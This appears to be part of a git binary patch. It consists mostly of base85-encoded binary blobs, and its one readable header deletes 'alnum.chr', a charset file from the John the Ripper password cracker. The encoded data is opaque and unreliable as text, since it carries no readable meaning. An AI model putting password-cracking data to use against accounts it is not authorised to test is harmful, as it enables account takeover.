zaoMmg7}JWe7EE%cD{3b%+?+1c{!0&pGjN$p6#CSX~(qPEIlR%5Yw>%p#Da~r!btQf?g<&ew`{OKYfiEc!RY~aa@ z(jglX)J0e0+=4nnGu#j`Y{Re5i-NLo;R|S$y^&HxU|2(0+fYSs)X3(hhjJ&0+M6J@ zAwa6w9-`vFRf85qktU*+kK)C79c-5sYtB!tK~|G^CLWjG-GShR?=d-4BepBIfMR^8 z4mbB$-^a-r91~*ua$H5$&=L|mz}FeyA={*XQ=Mm1ON&jVe^cq+EGeo5-KL<_g4fS99Th~!4Vd{YYV<04%}!1LUe86YYS{B8ywP&Y*GFIy+rnjPKj=diUTjo z(4w|>XfzCxaIMJt)-J}SNTa?=Y!Aj53Ntpd!XcvjAPJz?siu6wG;AF(^+FPJp(POu z=+CE0nzFEU5ny`XN=ZQXHW+r!Ln-1(^&Y;W*U#A4D* z+P62O4qLhEBb3rMi#51kq+DgTy)B*=tR)^Nwu2`~+;LH=l*jfi)j-!l14CJF@5${L ztr1Cq*go7YS{(aRx(A(;`ljb4G`Man?b{a$R0rFYBowfBH3E-VlN1gP6Nzom!C-UI zhWO&nCaoD>6*prP)Xo;vKm>1y7rk8h5N?!vi)NW_wYqS)D^ zUr?dyy~Oru{xlK_KtBOs1344wp_0Ah^Fs@x70a{+UBLHEcu^ zsc(+b^>LLv1BP;4O#6N@u4;KEL3O1P!= ze}HFmKF8e{$;F4A$d9T6izWzPO?ALP6tSu9gI(GcLz7IMw2AJS@mARh>+U`aS4xC( zjr#nQ61+8taH5B5P(JWd00%k!q(St*2ba**-jRN7Ig8GAM0AqKE&W5R|_C;zsj96ug>QJdWlrPA`3}1(w2E%NNg8C@R$;UHt4>O6z{pca zRX?WVt1M}(w5 zc6@p!r7ex)8!ns(ws~^SvnSY1r_@el^X5bj;7`@wPGv&)^pGb{k4e$#DJ|hNxg@x9 z391XoUGETV&o(H@GoPCh$MNh?4COO{%<*nlC%Lq0wb@{6k%3Q+4*ROm3Nb{6_nYY>Wg7*f(gYRw@{!RLDW zTq5(immBBupLYI%F%b86RLS|VE-H)X5_Qi*nVuC*lfv`!qR43HcDg8be6f2lu{KTm+uHn{>(vF_;WYk7+L^7kwee6Ah zM{I{?5K|9~g{B0OU}I_q@ePN-@V$=Hd^(<_WaAmZ?Be2sLH8oKjzHwv2@{0K=gNPb z@2eql{Xa0X)apL_$>?YCGe2vc_F0wl`HCEWz9yZYYXr%)Oi`OZ$@gLEJNavs;J5o# z!xWPXnaPmcp>rAHI+7VrFbx3;M1#qopWK3zZh)o9Z6+T?POj~k#eimGBD>7(=E*(i z+eXsl;yx2~m@Fg@b0KfB0krVhEjIbFh@#I4WQ>lb_iz%j%6$G+kt3zl;o;ATHQ4pYge{5UfA5%M?>G(nXv6-Pi zV4Q6B{b4kZChB+3KS^K)3Y)xrMqOevlO^v!v~XymBx=VdzJLQ*nl+|&kKuxWXb)>A z>tda88B&70uXwA2e>%i)M&Pk7wHn3d%K&Er!z%_FTB zsqPtJ`d;eh3t;1OcFek9E#lP{qu@`5*l>(TE7WtCX{4qMIc$kL5S=sW-?J+-{l0i( z?-6uksyT)aZ3O|X9TiQKbEcl4|${{<*}kt(WF+^T<8%gWhAvF zG-7JoN_060qLbRCXQXKEgy)Pnh9t(mAIQM&$QOOo=IH18J>wNl^V-6;K@cMVBxjA0 z=({Wt+H+qF#KFrOX-J844MB|k9&jX3Gp5V%NeE>o3N%Il{N+u?Gn9c-tduX zhN)+}H$cXtYbK1}5V^+#SjAn945`Wp;sgrP2ycMHGORERRDwt0X3g@Qiocfv#RCI) z7LYUxp-v4h)tJp+Aif|!rJ8acmR=L&DJ}g{`n}G6JCilWv}a}EkHQcoO#A2BJWg*) z&X?);^cL$B4s4Mii&LKI9UkJqx>big#tkhZ)7rC3AFznTcMfL({WH0=pjf^Qd#|hu zW^-TQ(+RCU(d;0UrY{&#SCt(o;F{naURBI# z!9H<%r?2OG7ATu^LGYXL1YpqU6)XP_2DFpDB7hGijYOzlDjqd8{Y2gqt>eNm623 z2(KCARD89z&TPvR3F`%i>pL|bAm zLlIVz=Y(g(RcHHzMtVQ}fgM1m(0?WK%v=KZWKi#axBmH=eQ7l+L49~yBV*=vM#RgC zE}oE|lFZ$59s@L{pEsH9d{~R~22R@kGuEd6N@cG8vvn_X)S0iWwE^}qH)Q@d+0MSF zxn%_$$ZjbxyY*Qg6_$nl{vFyXMp%hxh%^K(wwlT!SFUK3IG<#=rDJRN% zPAP;?rbRX<8)$|S9My?9uo@@aVMO5|yJLE0&*5QRKfodx>I2TaUkHFBvF}yu!v_bN z@*r5MJkBxj;AoD3efOC)L_#<@*Ki3fN;4H+<_K~WDu?_WUJC|81?sPL0+Da z@&~9m^wuG3v-}C=pFgM1=_)VM92MCtuInuUaMC;!BL9&5|-gPs72(V^y-`PBsG5l z>Hh{2A0I9!za zupos>A*8{r;84j0ITw@rH@3C?U~(UyPtQUqkMs9{tLYO3_Li(LTS-b->UqZ2 zvNf46yeBrKFyCP?6pbf~(Bll9ioN9r7!~T)Jk7Le4adGWyFWic@i}@8U^j?Oxrx{R zF?0@lj4f2a^4}KUF)<2lY{Bm6PuAGO$i=MxV(AOf8@Z`{ngS~(rTX%D9O=zz`~`+u zz+a3#p-2Y%=3GIbrdo02*M4656CI&Qp^QzyhJLQ;-4$i5J9(ZDWD9G267xC!=tZXX zI0_to{B(3246$FGD^{*=|Fb0?4Z?zR;lx*E9T^_D=7NIX@_5QQAbI z+Uv4sY)#;w`J6AwXETr&YFJ3<+3lH+M0K8{v7z_VF@JCppH&bG$>oJQ;|z~Yehd<` zxQhgSF16lg8c_j8nOL%L%B;cECki#JGJ-oyg2nY$vo{IVYlGHsDQxql#GOn0r9Lc! zY&>g0a(O`wU#4`HrV(Fe=C-jiektwjWg$ixU0zACd0D2xT~=_sfUR3f^Ae9(#-;V8 zHheB|VGZZWqg^KmWKtmOjE*bxHvZxWwl(|1BGV1zFv2}PSwuxli0Lg|k-nw)ne-OL zpq*LcCDN#i;RwO>iWmBa=wTqlY4|g7Y$)@h2C-re0jZd8+mr+3FgP=FpNj_oiMq;Y z@lpwqZ&^bLEB(`$YKIy|Glv7tVKaRa;zJ-0>y?In~Kd7 z#4m_OYuAEJmws!j{Xy_D2H%uxSYB*AIIf?vkOWnNKX2aHLb0nI_YxX^Eow{uZ%b$T zoJN*q@#^S~nTnpayQ*xLT|HmO07({>5D8+F!zCesWEn^(G6A8Eat6EDWk3QH9rL%( z?>zZSE|8F!Z@u@vd(L@7H)h9LgogOyTP+vp;9WG%_P2z|*fCfB?;aln7$%B4w7=pJ z&*4A2RD#C15ep;aY5SGnT6H^#rya8|s~ALN!~bsgeb z3zo+@y%K4Y*{ZdfXRH)z+yZN*C(^3oFOnZGuW>xV)#z@Q3aNvM)2m(SA3qyjR6t`L zlGO*R`~Ijqw<-THzii8;1uZr@Hpyni=ah0g9!_TRp&iDrvx|CXuvDHH(6LxT30=aD z>3`{EkBDll2MFih+v%Q$JP%H2^kYbp7^$Y`o--Bmonyv32%+9tYli=u^dL|4|9 zJ&Y(Z@h>)~FxQhKem#nKxVA=&*(^DVul=1Rov*;0R8uAeCoTZ-xyr*}Lv5VOvT)JYQXH%Cru zYr%cX)XlSkE?dm?Hy0*xz9b7pure(1m2E|1ReUe4L}h+=Xs$-<%^=H^@(sKU5PWZg zFeR5F^{D?7K)h6-SkQUXRyZ?SQOTk0fHOnm4esU@p@*flPotEr(dyB)N|j{_O+N!s zt0r_YLgtYqWmc*!Ny=WxGAb#{zSOjAOiX}AKR}6Z4*p_cm^d$ZQ|DzzqnRTgg7A-$ zKtY$ObI>>9$s10Yyf}vqbDGHT_s%QMF=p|6o!7VmWUM4p+{<~xx(K0c^#GA3K>Qm!H>!67GovHawOsehD?H{6QmTMVQD)w6=#=*>qtVyIRzlgE(=x&lNek7 zE*_489wdtpSa%>OqU1AXC*A+t##d&4(UV{noe6FrPMO@mb^r~>;UUL|r0ZzX6{U-V z^qakyZ6~qTQ>L3pT4YWG8(OPR9;b@f`RH1hzqowXmvpXdI%RCKvJ$Pk04&tJYdd*L zI@~%KI>~-Py+)WlC2lyP98o~RxhBxmdqAvyOk`?mMWU&THUQCYR3XTRhg<`lP0rE`E@JJ@SWV8}?pJ#6jtWRCamlo3Z=K9XB}GPMMh&GrWp0!I+eO#TSL zjdbcFH$04C8!T5WW6www+@%GP=>h`^Uwg2rqb9b9&8dn+@+n}2@l#UiPjGs}cVhk# zzkdo^gsTnw9bq_Ci_-m_rroj_eDED0uTk^5s}F?hd@T0O`Pg2Gf#E1sfkNqMlLCqvG@! zChv)3!QEiw$&d!h*%g@4)?nKUr7~xf0g7?yp3-m1*I=#|VE%Fx3V1j5V(@Or1hQu^ z?L!l_?JhGgo+#@;LjrI&yEV1QKMRHd@|)*y6cAi?6Rj0gslUL zcCtB1Is}olF~GJmm=-08@Z;RSvWPf>hnX`rg`v3T;g*!n$F! zrfK6UwFW%%xG))#Mri!t+j!9v4w^|CJp@BmJaML6@$&6liRl&mDz@ZouvPjID7Prv zx72%uL0P*Unny)TN|ktl4UBwU-ea<^dS5lLnu!j?TWf_v=_Gs8Q8-WXar13bcOctP zY%vtWhWl28zAy;4yrQ5L(TxCZn@_p~S0uEMOu(}IEgxx-6T|J~XRHIoo zrwZ)>j+0L|-6EPfL_=&$D&6BcxJ!mMGehQ6(P3bsXrv=YLiccy7H3A4!55yi4g(w~ zIf5I*SZ_(PN+OQdT!;F3D^7|)BAmF)?TAgu}P46n$Db}Sqk}s%H5@bp+G?o658wUQUdm5(;@hnPz4hSFpvrttuAs9 zX>{%%dJNYr-^AjP^g6T`O`i1W4K(fVkUQH7B~r637Fgz#_%sZ4YWHpp2@GQZ0k@+| zx(yYeOggu@oMkMmDh3me$`!EM`;l_-UPwLBd#UrEl=4A9iD&SB#@~T;nUbYmJe)ra zvGiCm84sATdNfBYXRuW!k)jYDqskJykE6GuZr9|Mq29cA&$a9QMxGPdI%3=R_OlLU z;vMK%_*(B&Q5Fxl3~F=qpXoi4?iS`!KZwtfDt3v{DBS=>t-eb;$^9Sf3zJV5_dmEvJz_01Jv z@VMoO#^S*b5W`JL(L$oOna|O%YuWSR9$m2wbVpORM_9ExMCb#KI8nrTb={}Y67tle z|4!m8Othq9=NXsQNr1_nBMmn+%)wet)SUVV8nzFTQAkp}^$2Vt85{N=SOwm4!b zh{Y0Jf2jw$B5tZERPD3u_}aBrY!#!debKKAMsbe=RPI=SjbfxI8dZb$Ce})%hpCJL zY&B=lh1Ijyv4^e5Ts~i|Oc0%2WqC*;4ruI%-04bmO$kl0U}n#^oq)B2v8#v?a6Onf zmn*C%a>MsnTFqCUz)Y&t?d$ zD-ctEon-S)%^vU`0==;~WD(r4e$Hf9&(YX`@i8?n6Wwj96^#wF_F2EAW7JWC?ZvR* zz&IHkP`wc2Q{{lx<;~S0a^2Wf-PQycpD}$kwYqwpcWp@Jq#;wG@uM~`c(le#9sR7h zTtf*Tjn~@zO0_oLDrnPqr$c%o+w7JhMa*XSK1<5md`C5vK~}Gz!Z&TNdc`jY6g%0hd9u(%FFB8g%hUdQFJjvC(=(qbj4n;eukc zS6X`fik2ZC)O0WNVhtgz8%>4vZZru28GH_v-~1fY7<5DYg{`42xp}LXy?IBYz7h5F zO}?$4DVgdaro~6N^t5qDE*E@z)AZlaa2YOLI~yWuGUMmRRt1AO-QRK?t(B9_sl4 z2(m3e6w8j0Dy*Lq}8|-<9w9*W0qyQ!c`7l`6V*DTLeF)Zz(mHSpawwPFcCkSqVx7!F9V zPb-AW6e5UAO{c4;SUXXlh0v&MkP9s*R z#Ajrn6YD_H0a6Gu+q*$HlK7bL6uG8^{mCrGE~b8vy`!0$1k|Lm;eBJ=V}LOSFVDn5 z1XeJK2o6cxb~I#R%H&aUH%Yxd2EP*Qd9=8-z>*ed+*hcD5Da;#@#!oW8tM^^E#@m` z>0@%cxD;n9GRyJoOirk<;PJ&(snWQ)9ZuvfAcc3HFB&*pu#nGwwir0{gV6PHp5Sce zvMK~Uz(G5U%>0t4%Ao>KbZ?&}=ypAb+TxdjTKIczEK_6uJ{utKQWd}N1TQ>tLtVRs zPPrUPKU^5A5it7#=CU#J!zvv^BFJ(Q?z{-2~;2aVCe9uNOg>MKAwNu-8=a7I~9F-ebbaY z-DMvGWcARp2|+D0RwUiQ!lPG>r;jGc0r=3qgOTUK8erWIij9P;bLw{2 z!6>?c`7foW-@)PfE|13>&ti*sX0(h>ES4!ccM5%l70b?k@%-_($F;_aXSZ=RkvQJK zzTaS1;ypqofEr-Z2`iGDLb~tn+xqa+X^u|etMXwq8qbG>r8C!U7R-$)Ww41jpxf9u zGeIqA^l%tCUR%^(Dt}ePq9;ROVfqm(UGN{xxAwBX8c#E^kM|GZbcf7^5k5at9hnV9 zm$pl6Gqihjc0s~Hy?G~dO^8J-%KPOs)@GgkVT%Qy=^V^f>mY(@utT1nSKMwN**5i8 z!4~aRizw7=+(Fg|_@AXWio!L%@Iwzlul*F*IXu5|?>D=j@@v-6KAdDP3niyqsW+Nm z`=g192rGC#cvzy_-d(M?{rksprw3}Yh5vxsv>NFs7*3vKso}tWEi*za=ZHbr#|KwA)So!M9ZwL6O``*zH7f&>03KrKp-3f=1Sbr#T2lDMt zr!G7Z(@k*iL*z*MeUy;mw|)&?TX=3}NYl3l1O+zZ?c9p3kNZy{5^^#hPf@M70THQd z4M8s~saW`FMleij-Mt}3>ap_GEZp}1VyUb^rHLYc)97_$Z<52<7OSPVI??z_-d!(d zq2kk;W#*ydl=^dL8i|rPbHB=u#MtL{rWCK;NnDYyVXS+M67v<}{ l($U9C^V`9v^Q#Xh_4oUipKrc4{`|i$wcFqSgKFQ8{|^C^kE{Ry diff --git a/data/john/run.linux.x86.mmx/alnum.chr b/data/john/run.linux.x86.mmx/alnum.chr deleted file mode 100644 index 55e9a0acdf8a87ba7c07b04566a3a847c2b5a3ab..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 232158 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 